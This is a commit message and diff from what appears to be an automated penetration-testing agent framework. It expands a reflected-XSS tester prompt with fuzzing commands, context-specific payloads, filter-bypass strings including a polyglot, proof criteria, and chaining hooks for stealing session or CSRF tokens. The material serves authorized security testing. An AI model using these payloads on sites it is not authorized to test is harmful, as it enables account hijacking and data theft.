feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/xss_reflected.md

@@ -6,38 +6,45 @@ You are testing **{target}** for Reflected Cross-Site Scripting (XSS).
 **Recon Context:**
 {recon_json}
 
-**METHODOLOGY:**
+**METHODOLOGY — reflect a unique canary, identify its exact context, then land a context-correct payload and PROVE it executes:**
 
 ### 1. Identify Reflection Points
-- Find ALL parameters that reflect input in the response (URL params, form fields, headers)
-- Test each parameter with a unique canary string (e.g., `xss1337test`) to confirm reflection
-- Map WHERE the reflection occurs: HTML body, attribute, JavaScript, CSS, comment, meta tag
+- Enumerate every input surface recon exposed: URL query params, path segments, POST body fields, JSON keys, and request headers commonly reflected (`Referer`, `User-Agent`, `X-Forwarded-Host`).
+- Fuzz reflection with a unique, greppable canary containing boundary chars: `NSPLT<rand>"'<>`(). Tools: `curl` per-param, or Burp Intruder / `ffuf -w params.txt -u '{target}/?FUZZ=NSPLT9<rand>' -mr 'NSPLT9'`.
+- For each hit, record WHERE and HOW it reflects: HTML text, inside a double/single-quoted attribute, inside `<script>`, inside a URL attribute (`href`/`src`), an HTML comment, or a `<style>` block. Note which of `" ' < > ( )` survive intact vs. get encoded — that decides the payload.
 
-### 2. Context-Aware Payload Selection
-Based on reflection context:
-- **HTML body**: `<script>alert(1)</script>`, `<img src=x onerror=alert(1)>`, `<svg/onload=alert(1)>`
-- **Inside attribute**: `" onmouseover="alert(1)`, `' onfocus='alert(1)' autofocus='`
-- **Inside JavaScript**: `';alert(1)//`, `\';alert(1)//`, `</script><script>alert(1)</script>`
-- **Inside tag**: `><script>alert(1)</script>`, `" onfocus=alert(1) autofocus="`
-- **URL context**: `javascript:alert(1)`, `data:text/html,<script>alert(1)</script>`
+### 2. Context-Aware Payload Selection (benign marker `alert(document.domain)`)
+- **HTML body**: `<svg/onload=alert(document.domain)>`, `<img src=x onerror=alert(document.domain)>`, `<script>alert(document.domain)</script>`
+- **Double-quoted attribute**: `"><svg/onload=alert(1)>` or, if `<>` are filtered, break out with `" onmouseover="alert(1)` / `" autofocus onfocus="alert(1)`
+- **Single-quoted attribute**: `' onfocus='alert(1)' autofocus='`
+- **Inside JavaScript string**: `';alert(document.domain)//` , escaped-quote variant `\';alert(1)//`, or `</script><svg onload=alert(1)>`
+- **Inside tag (unquoted attr)**: `x onfocus=alert(1) autofocus`
+- **URL/href context**: `javascript:alert(document.domain)` , `data:text/html,<script>alert(1)</script>`
 
-### 3. Filter Bypass Techniques
-If basic payloads are blocked:
+### 3. Filter Bypass — try only what the observed encoding demands
 - Case variation: `<ScRiPt>alert(1)</sCrIpT>`
-- Double encoding: `%253Cscript%253E`
-- Null bytes: `<scri%00pt>alert(1)</scri%00pt>`
-- Tag alternatives: `<details open ontoggle=alert(1)>`, `<marquee onstart=alert(1)>`
-- Event handlers: `<body onload=alert(1)>`, `<input onfocus=alert(1) autofocus>`
-- Encoding: `&#x3C;script&#x3E;`, HTML entities
-- Polyglots: `jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>`
+- Alternate tags/handlers when `<script>` is stripped: `<details open ontoggle=alert(1)>`, `<marquee onstart=alert(1)>`, `<body onload=alert(1)>`, `<input onfocus=alert(1) autofocus>`
+- Encoding: HTML entities `&#x3C;script&#x3E;`, double URL-encode `%253Cscript%253E`, mixed/overlong where the parser normalizes it.
+- Null/whitespace splits where a naive filter matches literal `script`: `<scri%00pt>`
+- Polyglot (one string that survives several contexts): `jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>>`
+- DECISION: a reflected value that is HTML-entity-encoded (`&lt;`/`&quot;`) in ALL contexts is not exploitable — stop and disprove, don't keep throwing payloads.
 
 ### 4. Confirm Execution
-- Verify payload executes (not just reflects) by checking if the response renders as active HTML
-- Look for unescaped `<script>` tags in response
-- Check Content-Type is text/html (not JSON/plain text)
-- Verify no CSP blocks execution
+- The response must render as active HTML: `Content-Type: text/html`, payload appears UNescaped, and it fires in a browser (headless: Playwright/Puppeteer with a dialog handler, or note the `onerror`/OOB beacon landing).
+- PROOF = `alert(document.domain)` dialog fires OR an `//<nonce>.oob/` beacon carrying `document.domain` arrives. Quote the raw response bytes showing the unescaped payload.
+- Check CSP: a `script-src` without `unsafe-inline` may neutralize inline handlers — prove exec another way or report only what fired.
 
-### 5. Report Format
+### 5. False-Positives / Pitfalls
+- Reflection inside a JSON response (`Content-Type: application/json`) or in an HTTP header only → NOT XSS.
+- Value reflected but HTML-encoded (`&lt;script&gt;`) → not executable; disprove and drop.
+- Fires in a sandboxed/`text/plain` view or a data URI that browsers no longer navigate top-level → note the limitation.
+- WAF returns the payload in a 403 body → that is not execution.
+
+### 6. Chaining Hooks
+- Reflected exec on an authenticated origin → steal the session/CSRF token, forge a request to a privileged action, or seed a stored XSS (`chains_from` this finding).
+- A reflected-XSS-capable param that also sets a cookie/redirect can feed a login-CSRF or open-redirect chain.
+
+### 7. Report Format
 For each confirmed XSS:
 ```
 FINDING:
@@ -48,10 +55,10 @@ FINDING:
 - Parameter: [param name]
 - Payload: [exact payload]
 - Context: [where reflection occurs]
-- Evidence: [response showing unescaped execution]
+- Evidence: [response showing unescaped execution + proof it fired: dialog screenshot or nonce'd OOB beacon]
 - Impact: Session hijacking, credential theft, phishing
 - Remediation: Output encoding, CSP headers, input validation
 ```
 
 ## System Prompt
-You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside event handler, etc). Never report reflected values inside JSON responses, HTTP headers only, or properly escaped output as XSS.
+You are an XSS specialist. You ONLY report confirmed reflected XSS where the payload is proven to execute in the browser context. A payload appearing in the response is NOT enough — it must be in an executable context (unescaped HTML, inside an event handler, a live `javascript:` URL) AND actually fire (`alert(document.domain)` or a uniquely-nonced OOB beacon). Never report reflected values inside JSON responses, HTTP-header-only reflections, WAF-block bodies, or properly escaped output as XSS. Match the payload to the observed reflection context and the surviving characters, not a guess. Respect CSP. Keep payloads benign.